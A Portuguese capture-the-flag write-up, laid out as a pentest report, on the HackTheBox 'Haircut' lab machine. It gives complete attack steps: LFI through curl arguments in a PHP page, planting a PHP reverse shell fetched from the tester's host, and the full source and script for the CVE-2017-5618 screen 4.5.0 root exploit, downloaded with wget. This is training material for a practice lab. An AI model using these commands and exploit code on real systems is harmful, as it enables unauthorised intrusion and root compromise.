Documentação: Haircut CTF

Haircut CTF Writeup

Documentação apresentada pela Behind Security como parte da série “Jornada ao OSCP”, focando no Haircut CTF da HackTheBox.

Haircut CTF icon

Haircut CTF

O Haircut CTF aborda vários vetores de ataque úteis. Mais notavelmente, essa máquina demonstra o risco de argumentos CURL especificados pelo usuário, o que ainda afeta muitos serviços ativos atualmente.

HackTheBox Logo

HackTheBox

O Hack The Box oferece às pessoas, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de segurança cibernética — tudo em um só lugar.

Resumo Executivo

Introdução

Este teste de penetração ao endereço IP 10.10.10.24 teve o objetivo de identificar e avaliar vulnerabilidades no sistema-alvo. A avaliação abrangeu a enumeração de serviços, a enumeração do servidor web, vulnerabilidades de acesso inicial e pós-exploração.

Objetivo

O objetivo deste teste de penetração foi avaliar a postura de segurança do sistema-alvo, identificar possíveis fraquezas e fornecer recomendações para mitigar as vulnerabilidades descobertas.

Requisitos

A avaliação exigiu testes detalhados na aplicação web hospedada em http://10.10.10.24 com ênfase específica na busca por diretórios escondidos, inclusão de arquivos locais (LFI) e execução remota de código (RCE) por meio de upload arbitrário de arquivos. Além disso, as atividades de pós-exploração focaram na exposição de credenciais de banco de dados e escalonamento de privilégios locais para o usuário root.

Resumo de Alto Nível das Vulnerabilidades

1. Busca Bruta de Diretórios (BS01)

  • Descrição: Falta de medidas de segurança para evitar ataques de busca bruta de diretórios.
  • Severidade: Moderada
  • Recomendação: Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios.

2. Inclusão Local de Arquivos (BS02)

  • Descrição: O script exposed.php é suscetível a Inclusão Local de Arquivos (LFI) devido a argumentos de entrada do usuário em comandos usando o software curl.
  • Severidade: Elevada
  • Recomendação: Sanitizar a entrada do usuário no comando curl para evitar ataques de LFI.

3. Execução Remota de Código (RCE) via Upload Arbitrário de Arquivos (BS03)

  • Descrição: O diretório /uploads permite o upload arbitrário de arquivos, levando a uma possível RCE.
  • Severidade: Extrema
  • Recomendação: Validar tipos de arquivo, restringir uploads e implementar validação adequada de entrada.

4. Credenciais de Banco de Dados Expostas (BS04)

  • Descrição: As credenciais de root do banco de dados estão armazenadas em texto claro no diretório home do usuário "maria".
  • Severidade: Elevada
  • Recomendação: Criptografar ou armazenar de forma segura as credenciais do banco de dados e limitar o acesso a informações sensíveis.

5. Escalonamento Local de Privilégios para Root (BS05)

  • Descrição: Versão vulnerável desatualizada (4.5.0) do screen com um bit SUID, suscetível a escalonamento local de privilégios.
  • Severidade: Extrema
  • Recomendação: Atualizar o screen para uma versão não vulnerável e regularmente aplicar patches e atualizar o software do sistema.

Recomendações

  1. Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios (BS01).
  2. Sanitizar a entrada do usuário no comando curl para evitar ataques de LFI (BS02).
  3. Validar tipos de arquivo, restringir uploads e implementar validação adequada de entrada para evitar RCE via upload arbitrário de arquivos (BS03).
  4. Criptografar ou armazenar de forma segura as credenciais do banco de dados e limitar o acesso a informações sensíveis (BS04).
  5. Atualizar o screen para uma versão não vulnerável e aplicar patches e atualizações regulares no software do sistema para evitar escalonamento local de privilégios para root (BS05).

Metodologia

A avaliação utilizou ferramentas automatizadas como Feroxbuster para busca bruta de diretórios e testes manuais para LFI, RCE e vulnerabilidades de escalonamento de privilégios. As atividades pós-exploração envolveram a identificação de credenciais de banco de dados expostas e a exploração de uma vulnerabilidade conhecida no utilitário screen.

Este resumo fornece uma visão geral das principais descobertas e recomendações, mas detalhes adicionais e passos para reproduzir cada vulnerabilidade estão disponíveis na seção "Desafio Independente".

Legenda de Cores

Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que queremos destacar
{...} Saída abreviada para brevidade

Classificação de Risco

Desafio Independente - 10.10.10.24

export IP=10.10.10.24

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.24TCP: 22, 80
Nmap scan report

Enumeração do Servidor Web (80/tcp)

BS01 - Busca Bruta de Diretórios

Explicação da Vulnerabilidade: Não há segurança implementada para evitar ataques de busca bruta de diretórios, permitindo que um atacante mapeie facilmente a árvore de diretórios da aplicação web.

Correção da Vulnerabilidade: Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios.

Severidade: Moderada

Passos para Reproduzir o Ataque:

  1. Use uma ferramenta automatizada, como feroxbuster -u http://10.10.10.24 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php.

Comentários Adicionais: A saída da varredura do Feroxbuster geralmente é fácil de ler, e é recursiva por padrão, então sempre que encontra outro caminho a seguir, o seguirá automaticamente.

Resultado da varredura do feroxbuster

BS02 - Inclusão Local de Arquivos

Explicação da Vulnerabilidade: O script php localizado em http://10.10.10.24/exposed.php está utilizando o curl com argumentos de entrada do usuário. Isso resulta em uma vulnerabilidade de Inclusão Local de Arquivos (LFI), pois o atacante pode passar file:// como entrada e ler arquivos locais.

Correção da Vulnerabilidade: Sanitizar a entrada do usuário no comando curl para evitar ataques de LFI.

Severidade: Elevada

Passos para Reproduzir o Ataque:

  1. Acesse http://10.10.10.24/exposed.php.
  2. Recupere arquivos locais fornecendo file:///etc/passwd. Você pode substituir /etc/passwd pelo arquivo que deseja ler.
Usando burpsuite para explorar LFI

BS03 - Acesso Inicial: Execução Remota de Código (RCE) via Upload Arbitrário de Arquivos

Explicação da Vulnerabilidade: Como mencionado anteriormente, o script em http://10.10.10.24/exposed.php está utilizando o curl com argumentos fornecidos pelo usuário. A enumeração da estrutura do servidor web apontada em BS01 mostra a presença de um diretório /uploads, que geralmente é configurado como gravável por qualquer pessoa para receber uploads. Um atacante pode usar este diretório para fazer upload arbitrário de um script PHP malicioso e enganar o servidor para executá-lo.

Correção da Vulnerabilidade: Validar tipos de arquivo e restringir uploads para diretórios específicos. Implementar validação adequada de entrada.

Severidade: Extrema

Passos para Reproduzir o Ataque:

  1. Faça o download de um shell reverso em PHP.
  2. Abra o script no seu editor de texto favorito e edite o valor do IP para o endereço IP da sua interface TUN-0.
  3. Hospede o script usando um servidor web Python3 simples: sudo python3 -m http.server 80
  4. Acesse http://10.10.10.24/exposed.php e use o seguinte para fazer o servidor acessar seu servidor web, baixar o shell reverso para o diretório /uploads: http://SEU-IP-TUN0/php-reverse-shell.php -o uploads/evil.php
  5. Inicie um ouvinte netcat na porta 1234 (se você não alterou o valor da porta no shell reverso PHP): nc -lvnp 1234
  6. Acesse o shell reverso PHP em http://10.10.10.24/uploads/evil.php e aproveite o seu shell.
Usando burpsuite para fazer upload de arquivos

Pós-Exploração

BS04 - Credenciais de Banco de Dados Expostas

Explicação da Vulnerabilidade: As credenciais de root do banco de dados (usuário e senha) foram encontradas em texto claro no diretório home do usuário "maria".

Correção da Vulnerabilidade: Criptografar ou armazenar de forma segura as credenciais do banco de dados. Limitar o acesso a informações sensíveis.

Severidade: Elevada

Passos para Reproduzir o Ataque:

  1. Execute cat /home/maria/.tasks/task1
CENSURADO - senha exposta da base de dados

BS05 - Escalonamento Local de Privilégios para Root

Explicação da Vulnerabilidade: Uma versão desatualizada (4.5.0) do screen está presente no sistema, com um bit SUID. Essa versão específica é vulnerável a um Escalonamento Local de Privilégios (LPE) para root ao abusar da sobrescrita do ld.so.preload. A vulnerabilidade é conhecida como CVE-2017-5618.

Correção da Vulnerabilidade: Atualizar o screen para uma versão não vulnerável. Aplicar patches e atualizar regularmente o software do sistema.

Severidade: Extrema

Passos para Reproduzir o Ataque:

  • Cole o seguinte no terminal da sua máquina local para criar libhax.c:
cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
  • Compile-o e remova o programa em C: gcc -fPIC -shared -ldl -o libhax.so libhax.c && rm -f libhax.c
  • Cole o seguinte no terminal da sua máquina para criar rootshell.c:
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
  • Compile-o e remova o programa em C: gcc -o rootshell rootshell.c && rm -f rootshell.c
  • Crie exploit.sh e insira o seguinte usando o seu editor de texto favorito:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
cd /etc
umask 000
/usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
/usr/bin/screen-4.5.0 -ls # screen itself is setuid, so... 
/tmp/rootshell
  • Execute o seguinte para iniciar um servidor http usando python para transferir os programas compilados e o exploit.sh para a máquina vítima: sudo python3 -m http.server 80
  • Dentro da máquina vítima, vá para /tmp: cd /tmp e use o wget para transferir os arquivos de exploração da sua máquina: wget http://SEU-IP-TUN0/rootshell && wget http://SEU-IP-TUN0/libhax.so && wget http://SEU-IP-TUN0/exploit.sh
  • Marque o exploit como executável e execute-o: chmod +x exploit.sh && ./exploit.sh. Você obterá um shell de root.

Conclusão

Esperamos que você tenha achado nosso conteúdo sobre o Haircut CTF útil e convidamos você a explorar mais nosso site para descobrir outros tópicos interessantes que cobrimos. Da cibersegurança à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que possam ajudá-los a se manter informados e à frente do jogo. Estamos comprometidos em oferecer a melhor experiência possível e estamos abertos a feedback e sugestões por meio do nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security é uma plataforma online dedicada a prover artigos informativos sobre cibersegurança, privacidade, e programação.

Rolar para cima